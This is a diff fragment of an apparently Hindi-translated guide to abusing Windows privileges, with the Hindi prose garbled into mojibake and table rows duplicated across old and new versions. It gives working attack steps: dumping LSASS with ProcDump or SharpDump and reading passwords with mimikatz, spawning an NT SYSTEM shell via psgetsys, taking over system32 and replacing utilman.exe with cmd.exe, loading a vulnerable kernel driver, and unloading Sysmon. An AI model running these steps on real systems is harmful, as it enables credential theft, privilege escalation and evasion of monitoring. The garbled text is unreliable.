рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ **рдбрд┐рд╡рд╛рдЗрд╕ рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреЛ рд▓реЛрдб рдФрд░ рдЕрдирд▓реЛрдб** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ `ImagePath` рдФрд░ `Type` рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рд╢рд╛рдорд┐рд▓ рд╣реИред рдЪреВрдВрдХрд┐ `HKLM` (HKEY_LOCAL_MACHINE) рдкрд░ рд╕реАрдзреЗ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реИ, рдЗрд╕рд▓рд┐рдП `HKCU` (HKEY_CURRENT_USER) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдбреНрд░рд╛рдЗрд╡рд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП `HKCU` рдХреЛ рдХрд░реНрдиреЗрд▓ рдХреЗ рд▓рд┐рдП рдкрд╣рдЪрд╛рдирдиреЗ рдпреЛрдЧреНрдп рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрде рдХрд╛ рдкрд╛рд▓рди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред +рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ **рдбрд┐рд╡рд╛рдЗрд╕ рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреЛ рд▓реЛрдб рдФрд░ рдЕрдирд▓реЛрдб** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ `ImagePath` рдФрд░ `Type` рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рд╢рд╛рдорд┐рд▓ рд╣реИред рдЪреВрдВрдХрд┐ `HKLM` (HKEY_LOCAL_MACHINE) рдкрд░ рд╕реАрдзреЗ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реИ, рдЗрд╕рд▓рд┐рдП `HKCU` (HKEY_CURRENT_USER) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдбреНрд░рд╛рдЗрд╡рд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП `HKCU` рдХреЛ рдХрд░реНрдиреЗрд▓ рджреНрд╡рд╛рд░рд╛ рдорд╛рдиреНрдпрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрде рдХрд╛ рдкрд╛рд▓рди рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред -рдпрд╣ рдкрде `\Registry\User\\System\CurrentControlSet\Services\DriverName` рд╣реИ, рдЬрд╣рд╛рдБ `` рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╕рд╛рдкреЗрдХреНрд╖ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рд╣реИред `HKCU` рдХреЗ рднреАрддрд░, рдЗрд╕ рдкреВрд░реЗ рдкрде рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рджреЛ рдорд╛рди рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: +рдпрд╣ рдкрде `\Registry\User\\System\CurrentControlSet\Services\DriverName` рд╣реИ, рдЬрд╣рд╛рдБ `` рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╕рд╛рдкреЗрдХреНрд╖ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рд╣реИред `HKCU` рдХреЗ рдЕрдВрджрд░, рдЗрд╕ рдкреВрд░реЗ рдкрде рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рджреЛ рдорд╛рди рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: - `ImagePath`, рдЬреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдмрд╛рдЗрдирд░реА рдХрд╛ рдкрде рд╣реИ - `Type`, рдЬрд┐рд╕рдХрд╛ рдорд╛рди `SERVICE_KERNEL_DRIVER` (`0x00000001`) рд╣реИред @@ -92,7 +92,7 @@ reg.CloseKey(key) ### SeTakeOwnershipPrivilege -рдпрд╣ **SeRestorePrivilege** рдХреЗ рд╕рдорд╛рди рд╣реИред рдЗрд╕рдХрд╛ рдореБрдЦреНрдп рдХрд╛рд░реНрдп рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ **рдПрдХ рд╡рд╕реНрддреБ рдХрд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдЧреНрд░рд╣рдг рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ рд╣реИ, рдЬреЛ WRITE_OWNER рдкрд╣реБрдБрдЪ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдкреНрд░рд╛рд╡рдзрд╛рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдкрд╖реНрдЯ рд╡рд┐рд╡реЗрдХрд╛рдзреАрди рдкрд╣реБрдБрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рддрд╛ рд╣реИред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд╣рд▓реЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЗрдЪреНрдЫрд┐рдд рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдХрд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдлрд┐рд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП DACL рдХреЛ рдмрджрд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред +рдпрд╣ **SeRestorePrivilege** рдХреЗ рд╕рдорд╛рди рд╣реИред рдЗрд╕рдХрд╛ рдореБрдЦреНрдп рдХрд╛рд░реНрдп рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ **рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдЧреНрд░рд╣рдг рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ рд╣реИ, рдЬреЛ WRITE_OWNER рдПрдХреНрд╕реЗрд╕ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдкреНрд░рд╛рд╡рдзрд╛рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдкрд╖реНрдЯ рд╡рд┐рд╡реЗрдХрд╛рдзреАрди рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рддрд╛ рд╣реИред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд╣рд▓реЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЗрдЪреНрдЫрд┐рдд рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬреА рдХрд╛ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рд╕реБрд░рдХреНрд╖рд┐рдд рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдлрд┐рд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП DACL рдХреЛ рдмрджрд▓рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред ```bash takeown /f 'C:\some\file.txt' #Now the file is owned by you icacls 'C:\some\file.txt' /grant :F #Now you have full access @@ -114,7 +114,7 @@ c:\inetpub\wwwwroot\web.config #### Dump memory -рдЖрдк [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) рд╕реЗ **рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдПред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрд╣ **рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЙрдкрдкреНрд░рдгрд╛рд▓реА рд╕реЗрд╡рд╛ ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред +рдЖрдк [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) рд╕реЗ рдпрд╛ [SharpDump](https://github.com/GhostPack/SharpDump) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдПред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрд╣ **рд╕реНрдерд╛рдиреАрдп рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЙрдкрдкреНрд░рдгрд╛рд▓реА рд╕реЗрд╡рд╛ ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рд▓рд╛рдЧреВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред рдЖрдк рдлрд┐рд░ рдЗрд╕ рдбрдВрдк рдХреЛ mimikatz рдореЗрдВ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВ: ``` @@ -125,12 +125,12 @@ mimikatz # sekurlsa::logonpasswords ``` #### RCE -рдпрджрд┐ рдЖрдк `NT SYSTEM` рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЖрдк `NT SYSTEM` рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -- \***\*[**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)\*\*** -- \***\*[**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)\*\*** -- \***\*[**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)\*\*** -```powershell +- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit) +- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC) +- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) +```bash # Get the PID of a process running as NT SYSTEM import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,) ``` @@ -138,9 +138,9 @@ import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,- рдпрджрд┐ рдЖрдк %WINDIR%\MEMORY.DMP рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдпрд╣ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ

- SeBackupPrivilege (рдФрд░ robocopy) рдЦреБрд▓реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рд╕рд╣рд╛рдпрдХ рдирд╣реАрдВ рд╣реИред

- Robocopy рдХреЛ /b рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП SeBackup рдФрд░ SeRestore рджреЛрдиреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

| -| **`SeCreateToken`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | 3rd party tool | `NtCreateToken` рдХреЗ рд╕рд╛рде рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рд╕рд╣рд┐рдд рдордирдорд╛рдиреЗ рдЯреЛрдХрди рдмрдирд╛рдПрдВред | | -| **`SeDebug`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | **PowerShell** | `lsass.exe` рдЯреЛрдХрди рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░реЗрдВред | рд╕реНрдХреНрд░рд┐рдкреНрдЯ [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) рдкрд░ рдорд┐рд▓реЗрдЧреА | -| **`SeLoadDriver`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | 3rd party tool |

1. szkg64.sys рдЬреИрд╕реЗ рдмрдЧреНрдЧреА рдХрд░реНрдиреЗрд▓ рдбреНрд░рд╛рдЗрд╡рд░ рдХреЛ рд▓реЛрдб рдХрд░реЗрдВ
2. рдбреНрд░рд╛рдЗрд╡рд░ рдХреА рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдВ

рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреЛ рдЕрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП ftlMC рдирд┐рд░реНрдорд┐рдд рдЖрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЬреИрд╕реЗ: fltMC sysmondrv

|

1. szkg64 рднреЗрджреНрдпрддрд╛ рдХреЛ CVE-2018-15732 рдХреЗ рд░реВрдк рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ
2. szkg64 рд╢реЛрд╖рдг рдХреЛрдб рдХреЛ Parvez Anwar рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛

| -| **`SeRestore`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | **PowerShell** |

1. SeRestore рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде PowerShell/ISE рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред
2. Enable-SeRestorePrivilege рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╕рдХреНрд╖рдо рдХрд░реЗрдВред
3. utilman.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.old рдХрд░реЗрдВ
4. cmd.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.exe рдХрд░реЗрдВ
5. рдХрдВрд╕реЛрд▓ рдХреЛ рд▓реЙрдХ рдХрд░реЗрдВ рдФрд░ Win+U рджрдмрд╛рдПрдВ

|

рд╣рдорд▓рд╛ рдХреБрдЫ AV рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдзрд┐ рдЙрд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "Program Files" рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ

| -| **`SeTakeOwnership`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | _**рдирд┐рд░реНрдорд┐рдд рдЖрджреЗрд╢**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. cmd.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.exe рдХрд░реЗрдВ
4. рдХрдВрд╕реЛрд▓ рдХреЛ рд▓реЙрдХ рдХрд░реЗрдВ рдФрд░ Win+U рджрдмрд╛рдПрдВ

|

рд╣рдорд▓рд╛ рдХреБрдЫ AV рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рд╡реИрдХрд▓реНрдкрд┐рдХ рд╡рд┐рдзрд┐ рдЙрд╕реА рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ "Program Files" рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред

| -| **`SeTcb`** | _**рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ**_ | 3rd party tool |

рдЯреЛрдХрдиреЛрдВ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╣реЗрд░рдлреЗрд░ рдХрд░реЗрдВ рдХрд┐ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВред SeImpersonate рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред

рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛рдиреА рд╣реИред

| | +| Privilege | Impact | Tool | Execution path | Remarks | +| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"рдпрд╣ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдФрд░ potato.exe, rottenpotato.exe рдФрд░ juicypotato.exe рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ nt рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдкреНрд░рд┐рд╡реЗрд╕реНрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛"_ | Thank you [Aur├йlien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. | +| **`SeBackup`** | **Threat** | _**Built-in commands**_ | рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ `robocopy /b` рдХреЗ рд╕рд╛рде рдкрдврд╝реЗрдВ |

- рдпрджрд┐ рдЖрдк %WINDIR%\MEMORY.DMP рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдпрд╣ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ

- SeBackupPrivilege (рдФрд░ robocopy) рдЦреБрд▓реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ рд╕рд╣рд╛рдпрдХ рдирд╣реАрдВ рд╣реИред

- Robocopy рдХреЛ /b рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП SeBackup рдФрд░ SeRestore рджреЛрдиреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

| +| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken` рдХреЗ рд╕рд╛рде рд╕реНрдерд╛рдиреАрдп рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рд╕рд╣рд┐рдд рдордирдорд╛рдиреЗ рдЯреЛрдХрди рдмрдирд╛рдПрдВред | | +| **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe` рдЯреЛрдХрди рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░реЗрдВред | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | +| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. szkg64.sys рдЬреИрд╕реЗ рдмрдЧреНрдЧреА рдХрд░реНрдиреЗрд▓ рдбреНрд░рд╛рдЗрд╡рд░ рдХреЛ рд▓реЛрдб рдХрд░реЗрдВ
2. рдбреНрд░рд╛рдЗрд╡рд░ рдХреА рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░реЗрдВ

рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдЗрд╕ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ ftlMC рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рд╕реБрд░рдХреНрд╖рд╛-рд╕рдВрдмрдВрдзрд┐рдд рдбреНрд░рд╛рдЗрд╡рд░реЛрдВ рдХреЛ рдЕрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╛рдиреА: fltMC sysmondrv

|

1. szkg64 рднреЗрджреНрдпрддрд╛ рдХреЛ CVE-2018-15732 рдХреЗ рд░реВрдк рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ
2. szkg64 рд╢реЛрд╖рдг рдХреЛрдб рдХреЛ Parvez Anwar рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛

| +| **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. SeRestore рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде PowerShell/ISE рд▓реЙрдиреНрдЪ рдХрд░реЗрдВред
2. Enable-SeRestorePrivilege рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖рддрд╛ рд╕рдХреНрд╖рдо рдХрд░реЗрдВред
3. utilman.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.old рдХрд░реЗрдВ
4. cmd.exe рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ utilman.exe рдХрд░реЗрдВ
5. рдХрдВрд╕реЛрд▓ рдХреЛ рд▓реЙрдХ рдХрд░реЗрдВ рдФрд░ Win+U рджрдмрд╛рдПрдВ

|

рд╣рдорд▓рд╛ рдХреБрдЫ AV рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

